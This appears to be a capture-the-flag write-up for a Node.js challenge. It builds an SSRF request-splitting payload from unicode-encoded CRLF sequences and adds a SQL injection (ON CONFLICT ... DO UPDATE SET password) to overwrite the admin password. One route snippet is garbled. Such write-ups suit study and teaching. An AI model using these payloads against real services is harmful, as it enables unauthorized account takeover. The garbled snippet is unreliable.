Possible point of entry

Login

```
router.post('/login', (req, res) => {
    let { username, password } = req.body;

    if (username && password) {
        return db.isAdmin(username, password)
            .then(admin => {
                if (admin) return res.send(fs.readFileSync('/app/flag').toString());
                return res.send(response('You are not admin'));
            })
            .catch(() => res.send(response('Something went wrong')));
    }

    return re.send(response('Missing parameters'));
});
```

If we are admins, then we will be able to access the flag.

Registration

```
router.post('/register', (req, res) => {

    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
        return res.status(401).end();
    }

    let { username, password } = req.body;

    if (username && password) {
        return db.register(username, password)
            .then(()  => res.send(response('Successfully registered')))
            .catch(() => res.send(response('Something went wrong')));
    }

    return res.send(response('Missing parameters'));
});
```

To register a new user, we need to access it from localhost

Checks if the account is an admin or not

```
async isAdmin(user, pass) {
    return new Promise(async (resolve, reject) => {
        try {
            let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
            let row = await smt.get(user, pass);
            resolve(row !== undefined ? row.username == 'admin' : false);
        } catch(e) {
            reject(e);
        }
    });
}
```

For the admin checks, we just need to have the username be 'admin'

Possible SSRF endpoint

```
router.pos let endpoint: any req, res) => {
    let { endpoint, city, country } = req.body;

    if (endpoint && city && country) {
        return WeatherHelper.getWeather(res, endpoint, city, country);
    }

    return res.send(response('Missing parameters'));
});
```

Possible strategy

1. Using the /api/weather endpoint, we can attempt to register an admin account that would give us access to the flag
2. This can be done via the SSRF endpoint

Reference: https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

Unicode Notes

space can be represented by \u0120
\r can be represented by \u010D
\n can be represented by \u010A
\r\n can be represented by \u010D\u010A

What is the request going to be like for us

GET

127.0.0.1/ HTTP/1.1
Host: 127.0.0.1

POST /register HTTP/1.1
Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

// We need to round off the request splitting
GET 'space'

Payload

/ \u0120 HTTP/1.1 \u010D\u010A Host: \u0120 127.0.0.1 \u010D\u010A \u010D\u010A POST \u0120 /register \u0120 HTTP/1.1 \u010D\u010A Host:127.0.0.1 \u010D\u010A Content-Type: \u0120 application/x-www-form-urlencoded \u010D\u010A Content-Length: \u0120 29 \u010D\u010A \u010D\u010A username=admin&password=admin \u010D\u010A \u010D\u010A GET \u0120

Updated payload

We cannot register duplicate usernames since the UNIQUE keyword was used. We can consider, possibly, using SQL injection to attempt to cause conflict so that it updates the password incorrectly. This can be achieved because prepared statements were not used here.

Sample Query:
INSERT INTO users (username, password) VALUES ('admin', '1337')

Malicious Query:
INSERT INTO users (username, password) VALUES('admin', '1337') ON CONFLICT (username) DO UPDATE SET password='admin';

Payload:
) ON CONFLICT(username) DO UPDATE SET password='admin'; --+

So, this would be the final updated payload

```
127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120%s\u010D\u010A\u010D\u010Ausername=admin&password=%s\u010D\u010A\u010D\u010AGET\u0120
```